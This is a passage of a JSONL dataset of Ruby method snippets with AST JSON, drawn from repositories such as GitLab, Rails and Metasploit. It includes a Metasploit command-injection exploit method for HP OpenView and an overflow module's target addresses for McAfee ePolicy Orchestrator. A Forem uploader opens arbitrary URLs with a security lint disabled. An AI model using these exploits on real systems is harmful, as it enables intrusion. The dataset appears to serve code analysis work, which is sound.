end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"supported_quick_action_commands\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"commands_for_widgets\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_item_type\"]},\"widget_classes\",{\"type\":\"send\",\"children\":[null,\"resource_parent\"]}]},\"flat_map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"quick_action_commands\"]}]}]},\"uniq\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COMMON_QUICK_ACTIONS_COMMANDS\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"commands_for_widgets\"]}]}]}]}","id":"f7594102-c4ae-4b5b-b09e-d9a5e0f5ea6e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/openview_connectednodes_exec.rb","start_line":59,"raw_source":"def exploit\n    # Trigger the command execution bug\n    res = send_request_cgi({\n      'uri' => normalize_uri(datastore['URI']),\n      'vars_get' =>\n          {\n            'node' => %Q!; echo YYY; #{payload.encoded}; echo YYY| tr \"\\\\n\" \"#{0xa3.chr}\"!\n          }\n    }, 25)\n\n    if (res)\n      print_status(\"The server returned: #{res.code} #{res.message}\")\n      print(\"\")\n\n      m = res.body.match(/YYY(.*)YYY/)\n\n      if (m)\n        print_status(\"Command output from the server:\")\n        print(m[1])\n      else\n        print_status(\"This server may not be vulnerable\")\n      end\n\n    else\n      print_status(\"No response from the server\")\n    end\n  end","complexity_score":29.1,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URI\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"node\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"; echo YYY; \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"str\",\"children\":[\"; echo YYY| tr \\\"\\\\n\\\" \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[163]},\"chr\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]}]}]}]},{\"type\":\"int\",\"children\":[25]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The server returned: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"m\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"YYY(.*)YYY\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Command output from the server:\"]}]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"This server may not be vulnerable\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"No response from the server\"]}]}]}]}]}","id":"dc6426ab-6c36-45ff-8942-efc9bf82b298"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/snippet_statistics.rb","start_line":22,"raw_source":"def update_repository_size\n    self.repository_size = repository.size.megabytes\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"update_repository_size\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"repository_size=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"size\"]},\"megabytes\"]}]}]}","id":"5eb3ec63-a75a-4719-8ddf-31553ea9f587"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rabal/tree.rb","start_line":241,"raw_source":"def each_datum\n    self.walk(self,lambda { |tree| yield tree.data})\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"each_datum\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"walk\",{\"type\":\"self\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tree\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tree\"]},\"data\"]}]}]}]}]}","id":"85ab15e3-f654-45f7-a77d-a81aa029085a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/server/openssl_heartbeat_client_memory.rb","start_line":93,"raw_source":"def on_client_data(c)\n    data = c.get_once\n    return if not data\n\n    @state[c][:buff] ||= \"\"\n    @state[c][:buff] << data\n    process_request(c)\n  end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"on_client_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"get_once\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"c\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"buff\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"c\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"buff\"]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[null,\"process_request\",{\"type\":\"lvar\",\"children\":[\"c\"]}]}]}]}","id":"d4ae29b7-5a27-4f04-9537-978fd4e34f9a"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/time_with_zone_test.rb","start_line":746,"raw_source":"def test_end_of_year\n    assert_equal \"1999-12-31 19:00:00.000000000 EST -05:00\", @twz.inspect\n    assert_equal \"1999-12-31 23:59:59.999999999 EST -05:00\", @twz.end_of_year.inspect\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_end_of_year\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"1999-12-31 19:00:00.000000000 EST -05:00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@twz\"]},\"inspect\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"1999-12-31 23:59:59.999999999 EST -05:00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@twz\"]},\"end_of_year\"]},\"inspect\"]}]}]}]}","id":"1881b01f-e16a-4f95-a656-aaa6c11e15d0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/upload.rb","start_line":145,"raw_source":"def filename\n    File.basename(path)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"filename\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"send\",\"children\":[null,\"path\"]}]}]}","id":"160f940c-00a0-4112-a246-b671c8618e71"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/models/model_accuracy.rb","start_line":24,"raw_source":"def calculate_accuracy\n    return 0 if total_flags.zero?\n\n    (flags_agreed * 100) / total_flags\n  end","complexity_score":8.35,"ast_json":"{\"type\":\"def\",\"children\":[\"calculate_accuracy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"total_flags\"]},\"zero?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flags_agreed\"]},\"*\",{\"type\":\"int\",\"children\":[100]}]}]},\"/\",{\"type\":\"send\",\"children\":[null,\"total_flags\"]}]}]}]}","id":"5ef40990-c211-46a3-958d-bf86087cce97"}
{"repo_name":"forem","file_path":"./repos/forem/app/uploaders/article_image_uploader.rb","start_line":11,"raw_source":"def upload_from_url(url)\n    # Open the URL and create a temporary file\n    file = URI.open(url) # rubocop:disable Security/Open\n    temp_file = Tempfile.new([\"upload\", File.extname(file.base_uri.path)])\n    temp_file.binmode\n    temp_file.write(file.read)\n    temp_file.rewind\n\n    # Upload the tempfile using CarrierWave\n    store!(temp_file)\n\n    # Important: Ensure you return the URL of the uploaded file\n    stored_file_url = self.url # This should return the actual URL where the file is stored\n\n    # Cleanup\n    temp_file.close\n    temp_file.unlink\n\n    stored_file_url\n  rescue StandardError => e\n    Rails.logger.error \"Failed to handle file upload: #{e.message}\"\n    nil\n  end","complexity_score":26.4,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_from_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"url\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"temp_file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tempfile\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"upload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"extname\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"base_uri\"]},\"path\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_file\"]},\"binmode\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_file\"]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"read\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_file\"]},\"rewind\"]},{\"type\":\"send\",\"children\":[null,\"store!\",{\"type\":\"lvar\",\"children\":[\"temp_file\"]}]},{\"type\":\"lvasgn\",\"children\":[\"stored_file_url\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_file\"]},\"close\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_file\"]},\"unlink\"]},{\"type\":\"lvar\",\"children\":[\"stored_file_url\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to handle file upload: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]},null]}]}","id":"5567d49d-4d3b-497c-b349-cea302292077"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/manageiq/reporting/formatter/html.rb","start_line":49,"raw_source":"def build_document_footer\n          mri = options.mri\n          output << \"<tfoot>\"\n          output << \"<td colspan='15'>\"\n          output << \"<del class='container'>\"\n          output << \"</del>\"\n          output << \"</td>\"\n          output << \"</tfoot>\"\n          output << \"</table>\"\n\n          if mri.filter_summary\n            output << mri.filter_summary.to_s\n          end\n        end","complexity_score":25.8,"ast_json":"{\"type\":\"def\",\"children\":[\"build_document_footer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"mri\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<tfoot>\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<td colspan='15'>\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<del class='container'>\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</del>\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</td>\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</tfoot>\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</table>\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mri\"]},\"filter_summary\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mri\"]},\"filter_summary\"]},\"to_s\"]}]},null]}]}]}","id":"fd911ef8-7f12-4a86-96ce-6ca2ca18656a"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/navigation_menu/base.rb","start_line":21,"raw_source":"def find_section(name)\n          find(sidebar_section_selector(name))\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_section\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"send\",\"children\":[null,\"sidebar_section_selector\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"bbbcf431-c19e-47ee-be8e-1d9ec39ecd34"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/mcafee_epolicy_source.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'McAfee ePolicy Orchestrator / ProtectionPilot Overflow',\n        'Description' => %q{\n          This is an exploit for the McAfee HTTP Server (NAISERV.exe).\n          McAfee ePolicy Orchestrator 2.5.1 <= 3.5.0 and ProtectionPilot 1.1.0 are\n          known to be vulnerable. By sending a large 'Source' header, the stack can\n          be overwritten. This module is based on the exploit by xbxice and muts.\n          Due to size constraints, this module uses the Egghunter technique.\n        },\n        'Author' => [\n          'muts <muts[at]remote-exploit.org>',\n          'xbxice[at]yahoo.com',\n          'hdm',\n          'aushack' # MSF3 rewrite, ePO v2.5.1 target\n        ],\n        'Arch'\t=> [ ARCH_X86 ],\n        'License'\t=> MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2006-5156' ],\n          [ 'OSVDB', '29421' ],\n          [ 'EDB', '2467' ],\n          [ 'BID', '20288' ],\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'thread',\n        },\n        'Payload' => {\n          'Space' => 1000,\n          'BadChars' => \"\\x00\\x09\\x0a\\x0b\\x0d\\x20\\x26\\x2b\\x3d\\x25\\x8c\\x3c\\xff\",\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [ 'ePo 2.5.1 (Service Pack 1)',\t{ 'Ret' => 0x600741b5 } ], # p/p/r nahttp32.dll 2.5.1.213\n          [ 'ePo 3.5.0/ProtectionPilot 1.1.0',\t{ 'Ret' => 0x601EDBDA } ], # p/p/r xmlutil.dll\n        ],\n        'Privileged' => true,\n        'DisclosureDate' => '2006-07-17',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(81),\n      ]\n    )\n  end","complexity_score":6.45,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[81]}]}]}]}]}","id":"9a7160e1-7dd4-48bb-883d-2225ffcecdd4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/spec/support/shared/contexts/msf/simple/framework/modules/loading.rb","start_line":136,"raw_source":"def load_and_create_module(options={})\n    options.assert_valid_keys(:ancestor_reference_names, :modules_path, :module_type, :reference_name)\n\n    reference_name = options.fetch(:reference_name)\n    module_type = options.fetch(:module_type)\n\n    ancestor_reference_names = self.derive_ancestor_reference_names(\n        options.except(:modules_path)\n    )\n\n    modules_path = options.fetch(:modules_path) {\n      self.modules_path\n    }\n\n    expect_to_load_module_ancestors(\n        ancestor_reference_names: ancestor_reference_names,\n        modules_path: modules_path,\n        module_type: module_type\n    )\n\n    module_set = module_set_for_type(module_type)\n    module_set.recalculate\n\n    module_instance = module_set.create(reference_name)\n    expect(module_instance).not_to(\n        be_nil,\n        \"Could not create #{module_type}/#{reference_name} after loading #{ancestor_reference_names.sort.to_sentence}\"\n    )\n\n    module_instance\n  end","complexity_score":25.3,"ast_json":"{\"type\":\"def\",\"children\":[\"load_and_create_module\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"assert_valid_keys\",{\"type\":\"sym\",\"children\":[\"ancestor_reference_names\"]},{\"type\":\"sym\",\"children\":[\"modules_path\"]},{\"type\":\"sym\",\"children\":[\"module_type\"]},{\"type\":\"sym\",\"children\":[\"reference_name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"reference_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"reference_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"module_type\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"module_type\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ancestor_reference_names\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"derive_ancestor_reference_names\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"except\",{\"type\":\"sym\",\"children\":[\"modules_path\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"modules_path\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"modules_path\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"modules_path\"]}]}]},{\"type\":\"send\",\"children\":[null,\"expect_to_load_module_ancestors\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ancestor_reference_names\"]},{\"type\":\"lvar\",\"children\":[\"ancestor_reference_names\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"modules_path\"]},{\"type\":\"lvar\",\"children\":[\"modules_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_type\"]},{\"type\":\"lvar\",\"children\":[\"module_type\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"module_set\",{\"type\":\"send\",\"children\":[null,\"module_set_for_type\",{\"type\":\"lvar\",\"children\":[\"module_type\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"module_set\"]},\"recalculate\"]},{\"type\":\"lvasgn\",\"children\":[\"module_instance\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"module_set\"]},\"create\",{\"type\":\"lvar\",\"children\":[\"reference_name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"module_instance\"]}]},\"not_to\",{\"type\":\"send\",\"children\":[null,\"be_nil\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not create \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"module_type\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reference_name\"]}]},{\"type\":\"str\",\"children\":[\" after loading \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ancestor_reference_names\"]},\"sort\"]},\"to_sentence\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"module_instance\"]}]}]}","id":"f9c6ab1b-77a2-474b-89cc-76531dbbc6f6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/matchers/have_plain_text_content.rb","start_line":13,"raw_source":"def plain_text_body(email)\n    email.text_part.body.to_s\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"plain_text_body\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"email\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"email\"]},\"text_part\"]},\"body\"]},\"to_s\"]}]}","id":"436d0b7a-1c1b-498c-930b-f4d5b6e5038b"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/translate_status_service.rb","start_line":104,"raw_source":"def wrap_emoji_shortcodes(text)\n    EmojiFormatter.new(text, @status.emojis, { raw_shortcode: true }).to_s\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"wrap_emoji_shortcodes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmojiFormatter\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"emojis\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw_shortcode\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"to_s\"]}]}","id":"3ba3b1c6-5834-40ad-8d10-2116efe7b43d"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/shared/with_blank_access_control_state.rb","start_line":45,"raw_source":"def stash_instance_variables(instance, *instance_variables)\n    instance_variables.each.with_object({}) do |instance_variable, stash|\n      stash[instance_variable] = instance.instance_variable_get(instance_variable)\n      instance.remove_instance_variable(instance_variable) if stash[instance_variable]\n    end\n  end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"stash_instance_variables\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"instance\"]},{\"type\":\"restarg\",\"children\":[\"instance_variables\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance_variables\"]},\"each\"]},\"with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"instance_variable\"]},{\"type\":\"arg\",\"children\":[\"stash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stash\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"instance_variable\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance\"]},\"instance_variable_get\",{\"type\":\"lvar\",\"children\":[\"instance_variable\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stash\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"instance_variable\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance\"]},\"remove_instance_variable\",{\"type\":\"lvar\",\"children\":[\"instance_variable\"]}]},null]}]}]}]}","id":"3b64d39f-6127-4d83-b7da-16aaf9e52f13"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/commit.rb","start_line":164,"raw_source":"def initialize(raw_commit, container)\n    raise \"Nil as raw commit passed\" unless raw_commit\n\n    @raw = raw_commit\n    @container = container\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"raw_commit\"]},{\"type\":\"arg\",\"children\":[\"container\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_commit\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Nil as raw commit passed\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@raw\",{\"type\":\"lvar\",\"children\":[\"raw_commit\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@container\",{\"type\":\"lvar\",\"children\":[\"container\"]}]}]}]}","id":"a0aec008-82d2-43d5-8f12-bed14ac511c8"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/mapper_test.rb","start_line":117,"raw_source":"def test_map_slash\n        fakeset = FakeSet.new\n        mapper = Mapper.new fakeset\n        mapper.get \"/\", to: \"posts#index\", as: :main\n        assert_equal \"/\", fakeset.asts.first.to_s\n      